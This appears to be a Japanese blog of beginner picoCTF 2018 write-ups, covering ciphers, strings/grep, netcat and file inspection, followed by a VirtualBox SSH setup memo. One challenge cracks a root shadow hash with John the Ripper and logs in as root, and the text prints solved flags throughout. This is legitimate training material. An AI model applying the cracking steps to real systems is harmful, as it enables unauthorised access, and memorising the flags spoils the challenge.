ROT  0: picoCTF{vgefmsaapaxpomqemdoubtqdxoaxypeo}
ROT  1: picoCTF{whfgntbbqbyqpnrfnepvcureypbyzqfp}
ROT  2: picoCTF{xighouccrczrqosgofqwdvsfzqczargq}
ROT  3: picoCTF{yjhipvddsdasrpthpgrxewtgardabshr}
ROT  4: picoCTF{zkijqweetebtsquiqhsyfxuhbsebctis}
ROT  5: picoCTF{aljkrxffufcutrvjritzgyvictfcdujt}
ROT  6: picoCTF{bmklsyggvgdvuswksjuahzwjdugdevku}
ROT  7: picoCTF{cnlmtzhhwhewvtxltkvbiaxkevhefwlv}
ROT  8: picoCTF{domnuaiixifxwuymulwcjbylfwifgxmw}
ROT  9: picoCTF{epnovbjjyjgyxvznvmxdkczmgxjghynx}
ROT 10: picoCTF{fqopwckkzkhzywaownyeldanhykhizoy}
ROT 11: picoCTF{grpqxdllaliazxbpxozfmeboizlijapz}
ROT 12: picoCTF{hsqryemmbmjbaycqypagnfcpjamjkbqa}
ROT 13: picoCTF{itrszfnncnkcbzdrzqbhogdqkbnklcrb}
ROT 14: picoCTF{justagoodoldcaesarcipherlcolmdsc}
ROT 15: picoCTF{kvtubhppepmedbftbsdjqifsmdpmnetd}
ROT 16: picoCTF{lwuvciqqfqnfecguctekrjgtneqnofue}
ROT 17: picoCTF{mxvwdjrrgrogfdhvduflskhuofropgvf}
ROT 18: picoCTF{nywxeksshsphgeiwevgmtlivpgspqhwg}
ROT 19: picoCTF{ozxyflttitqihfjxfwhnumjwqhtqrixh}
ROT 20: picoCTF{payzgmuujurjigkygxiovnkxriursjyi}
ROT 21: picoCTF{qbzahnvvkvskjhlzhyjpwolysjvstkzj}
ROT 22: picoCTF{rcabiowwlwtlkimaizkqxpmztkwtulak}
ROT 23: picoCTF{sdbcjpxxmxumljnbjalryqnaulxuvmbl}
ROT 24: picoCTF{tecdkqyynyvnmkockbmszrobvmyvwncm}
ROT 25: picoCTF{ufdelrzzozwonlpdlcntaspcwnzwxodn}

ROT14ぽい(でも確証はないのでguess問題ぽさもある。。)

environ

shell serverの環境変数からフラグを探す。

kanekkie@pico-2018-shell:~$ export | grep pico
declare -x SECRET_FLAG="picoCTF{eNv1r0nM3nT_v4r14Bl3_fL4g_3758492}"

hertz

$ nc 2018shell.picoctf.com 48186 > output
$ cat output 
-------------------------------------------------------------------------------
qmvnfxwt oafa ht smkf ulxn - tkctwhwkwhmv_qhpoaft_xfa_tmlzxcla_oooohlwpww
-------------------------------------------------------------------------------
"jall, pfhvqa, tm navmx xvr lkqqx xfa vmj yktw uxdhls atwxwat mu woa
ckmvxpxfwat. ckw h jxfv smk, hu smk rmvw wall da woxw woht daxvt jxf,
hu smk twhll wfs wm rauavr woa hvuxdhat xvr omffmft pafpawfxwar cs woxw
xvwhqofhtw-h faxlls calhaza oa ht xvwhqofhtw-h jhll oxza vmwohvn
dmfa wm rm jhwo smk xvr smk xfa vm lmvnaf ds ufhavr, vm lmvnaf ds
'uxhwoukl tlxza,' xt smk qxll smkftalu! ckw omj rm smk rm? h taa h
oxza ufhnowavar smk-thw rmjv xvr wall da xll woa vajt."

hw jxt hv ykls, 1805, xvr woa tpaxiaf jxt woa jall-ivmjv xvvx pxzlmzvx
tqoafaf, dxhr mu omvmf xvr uxzmfhwa mu woa adpfatt dxfsx uarmfmzvx.
jhwo woata jmfrt toa nfaawar pfhvqa zxthlh ikfxnhv, x dxv mu ohno
fxvi xvr hdpmfwxvqa, jom jxt woa uhftw wm xffhza xw oaf faqapwhmv. xvvx
pzlmzvx oxr oxr x qmkno umf tmda rxst. toa jxt, xt toa txhr, tkuuafhvn
ufmd lx nfhppa; nfhppa cahvn woav x vaj jmfr hv tw. pawaftckfn, ktar
mvls cs woa alhwa.

xll oaf hvzhwxwhmvt jhwomkw abqapwhmv, jfhwwav hv ufavqo, xvr ralhzafar
cs x tqxflaw-lhzafhar ummwdxv woxw dmfvhvn, fxv xt umllmjt:

"hu smk oxza vmwohvn cawwaf wm rm, qmkvw (mf pfhvqa), xvr hu woa
pfmtpaqw mu tpavrhvn xv azavhvn jhwo x pmmf hvzxlhr ht vmw wmm waffhcla,
h toxll ca zafs qoxfdar wm taa smk wmvhnow cawjaav 7 xvr 10 xvvawwa
tqoafaf."

"oaxzavt! joxw x zhfklavw xwwxqi!" faplhar woa pfhvqa, vmw hv woa
laxtw rhtqmvqafwar cs woht faqapwhmv. oa oxr yktw avwafar, jaxfhvn xv
adcfmhrafar qmkfw kvhumfd, ivaa cfaaqoat, xvr tomat, xvr oxr twxft mv
oht cfaxtw xvr x tafava abpfatthmv mv oht ulxw uxqa. oa tpmia hv woxw
fauhvar ufavqo hv johqo mkf nfxvruxwoaft vmw mvls tpmia ckw womknow, xvr
jhwo woa navwla, pxwfmvhehvn hvwmvxwhmv vxwkfxl wm x dxv mu hdpmfwxvqa
jom oxr nfmjv mlr hv tmqhaws xvr xw qmkfw. oa javw kp wm xvvx pzlmzvx,
ihttar oaf oxvr, pfatavwhvn wm oaf oht cxlr, tqavwar, xvr tohvhvn oaxr,
xvr qmdplxqavwls taxwar ohdtalu mv woa tmux.

"uhftw mu xll, raxf ufhavr, wall da omj smk xfa. taw smkf ufhavr't
dhvr xw fatw," txhr oa jhwomkw xlwafhvn oht wmva, cavaxwo woa
pmlhwavatt xvr xuuaqwar tsdpxwos mu johqo hvrhuuafavqa xvr azav hfmvs
qmklr ca rhtqafvar.

よくわからないけど、substitution cipherだと問題に書いてあったので、オンラインのソルバに投げてみたら解けた。
Substitution Solver - www.guballa.de
換字表は

abcdefghijklmnopqrstuvwxyz     This clear text ...
kdpoqhscgjzmtbnlyfxwueiavr     ... maps to this cipher text

hex editor

$ strings hex_editor.jpg | grep pico
Your flag is: "picoCTF{and_thats_how_u_edit_hex_kittos_8BcA67a2}"

バイナリエディタいらなかった。。

ssh-keyz

web shellから.ssh/authorized_keysに公開鍵を書き込んでsshするだけ。

$ ssh kanekkie@2018shell4.picoctf.com
The authenticity of host '2018shell4.picoctf.com (18.188.57.214)' can't be established.
ECDSA key fingerprint is SHA256:cLYL/h/zTqqapwkOtHLvuBv/ire4/UakBVvpUpBNqII.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '2018shell4.picoctf.com,18.188.57.214' (ECDSA) to the list of known hosts.
picoCTF{who_n33ds_p4ssw0rds_38dj21}
Welcome to Ubuntu 16.04.5 LTS (GNU/Linux 4.4.0-1075-aws x86_64)
...

ようやく150点問題おしまい。。

picoCTF 2018

久しぶりにCTFをしてみる。
https://2018game.picoctf.com

flagは、picoCTF{FLAG}

Forensics Warmup 1

flag.zipファイルが配られる。

$ unzip flag.zip 
Archive:  flag.zip
  inflating: flag.jpg                
$ file flag.jpg 
flag.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 75x75, segment length 16, baseline, precision 8, 909x194, frames 3
$ xdg-open flag.jpg

unzipしてjpgを表示するだけ。

Forensics Warmup 2

flag.pngが配られる。

$ xdg-open flag.png
## cannot open
$ file flag.png
flag.png: JPEG image data, JFIF standard 1.01, resolution (DPI), density 75x75, segment length 16, baseline, precision 8, 909x190, frames 3
$ cp flag.png flag.jpg
$ xdg-open flag.jpg 

General Warmup 1

0x41に対応するアスキー文字

$ echo -e "\x41"
## FLAG

General Warmup 2

27を2進数表記に

$ echo "obase=2; ibase=10; 27" | bc
## FLAG

cf. シェルで2進数、8進数、10進数、16進数変換@bash | Mazn.net
ibaseは指定しなくてもいけるっぽい。

General Warmup 3

0x3dを10進数表記に

$ printf "%d\n" 0x3d
## FLAG

Resources

指定されたURLにいって"picoCTF{"で検索するだけ

$ wget https://picoctf.com/resources -O - | grep "picoCTF{.\+\?}"

Reversing Warmup 1

サーバのどっかのディレクトリにいって配布プログラムを実行しろと書いてあるが、よくわからないので、とりあえず実行してみる

$ ./run
## FLAG
$ strings run | grep picoCTF{
## FLAG

フラグが出てくるのでこれでおしまい。

Reversing Warmup2

与えられた文字列をbase64でデコードするだけ

$ echo "dGg0dF93NHNfczFtcEwz" | base64 -d
## FLAG

Crypto Warmup 1

ciphertext = "llkjmlmpadkkc"
key = "thisisalilkey"

def encrypt(plaintext, key):
    ciphertext = ""
    for p, k in zip(plaintext, key):
        c = chr(((ord(p) - ord('a') + ord(k)  - ord('a')) % 26) + ord('a'))
        ciphertext += c
    
    return ciphertext

def decrypt(ciphertext, key):
    plaintext = ""
    for c, k in zip(ciphertext, key):
        p = chr(((ord(c) - ord(k)) % 26) + ord('a'))
        plaintext += p
    
    return plaintext

decrypted = decrypt(ciphertext, key)
print("ciphertext: {}\nkey: {}\nplaintext: {}\nre-encrypted: {}".format(ciphertext, key, decrypted, encrypt(decrypted, key)))

Crypto Warmup 2

encoded_flag = "cvpbPGS{guvf_vf_pelcgb!}"

def rot13(text):
    encoded = ""
    for t in text:
        if "z" >= t >= "a":
            e = chr(((ord(t) - ord("a") + 13) % 26) + ord("a"))
        elif "A" <= t <= "Z":
            e = chr(((ord(t) - ord("A") + 13) % 26) + ord("A"))
        else:
            e = t
        
        encoded += e
    return encoded

print("input: {}\ndecoded: {}\nencoded: {}".format((encoded_flag), rot13(encoded_flag), rot13(rot13(encoded_flag))))

grep 1

$ grep picoCTF{ file
picoCTF{...}

grepするだけ。

net cat

$ nc 2018shell.picoctf.com 49387
That wasn't so hard was it?
picoCTF{...}

接続するだけ

HEEEEEEERE'S Johnny!

とりあえずアクセスしてみる

$ nc 2018shell.picoctf.com 40157
Username: hoge
Password: fuga
Failed Login!

ユーザ名とパスワードが必要。
配られたファイルを見てみる。

$ cat passwd 
root:x:0:0:root:/root:/bin/bash
$ cat shadow 
root:$6$q7xpw/2.$la4KiUz87ohdszbOVoIopy2VTwm/5jEXvWSdWynh0CnP5T.MnJfVNCzp3IfJMHUNuBhr1ewcYd8PyeKHqHQoe.:17770:0:99999:7:::

rootユーザでアクセスすればいいのだろう。パスワードをクラックする必要があるので、john the ripperを使う。

$ sudo apt-get install john
$ john shadow
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
kissme           (root)
1g 0:00:00:12 100% 2/3 0.08298g/s 376.8p/s 376.8c/s 376.8C/s keller..nation
Use the "--show" option to display all of the cracked passwords reliably
Session completed

パスワードもわかったので再度アクセス

$ nc 2018shell.picoctf.com 40157
Username: root
Password: kissme
picoCTF{...}

strings

$ strings strings | grep picoCTF{
picoCTF{...}

pipe

$ nc 2018shell.picoctf.com 34532 | head
This is not a flag
This is not a flag
I'm sorry you're going to have to look at another line
I'm sorry you're going to have to look at another line
This is not a flag
Unfortunately this is also not a flag
This is not a flag
I'm sorry you're going to have to look at another line
Unfortunately this is also not a flag
I'm sorry you're going to have to look at another line
...
$ nc 2018shell.picoctf.com 34532 | grep picoCTF{
picoCTF{...}

Inspect Me

とりあえずアクセスしてページを検証 (inspect) してみるとフラグっぽいのがある。

	<!-- I learned HTML! Here's part 1/3 of the flag: picoCTF{... -->

分割されてるっぽいのであとは適当に全部とってくる。

$ wget -p http://2018shell.picoctf.com:28831/ -nd
$ ls
index.html  mycss.css  myjs.js
$ grep flag ./*
./index.html:	<!-- I learned HTML! Here's part 1/3 of the flag: picoCTF{... -->
./mycss.css:/* I learned CSS! Here's part 2/3 of the flag: ...} */
./myjs.js:/* I learned JavaScript! Here's part 3/3 of the flag:  */

とりあえずここまで。

ゲストOSにsshで入る (Virtualbox)

とくにWindows上の操作を忘れないようにメモ。

Virtualboxの設定

  1. [グローバルツール] > [ホストネットワークマネージャー] からホストオンリーアダプタを作成
  2. 仮想マシンの設定でネットワークにアダプタを追加(仮想マシンが起動してると設定できない)
  3. 仮想マシン起動

Ubuntusshdを設定

$ sudo apt-get install openssh-server
$ sudo vi /etc/ssh/sshd_config
## "PermitRootLogin no"を追記
$ sudo /etc/init.d/ssh restart

ホストからsshでログイン

$ ssh USERNAME@HOSTNAME

公開鍵の設定

## Windows Powershell
> ssh-keygen -t ecdsa
> scp $HOME\.ssh\id_ecdsa.pub USERNAME@HOSTNAME:~/.ssh/authorized_keys
> ssh USERNAME@HOSTNAME
$ sudo vi /etc/ssh/sshd_config
## "PasswordAuthentication no"
$ sudo /etc/init.d/ssh restart

Virtual Studio Codeからssh接続する場合

SSH FSを入れ、以下のコマンドで設定

>SSH FS: Create a SSH FS configuration

適当に編集する

// If you haven't already, associate .jsonc files with "JSON with Comments (jsonc)
{
    "root": "~/",
    "host": "HOSTNAME",
    "port": 22,
    "username": "USERNAME",
    "privateKeyPath": "$USERPROFILE/.ssh/id_ecdsa"
}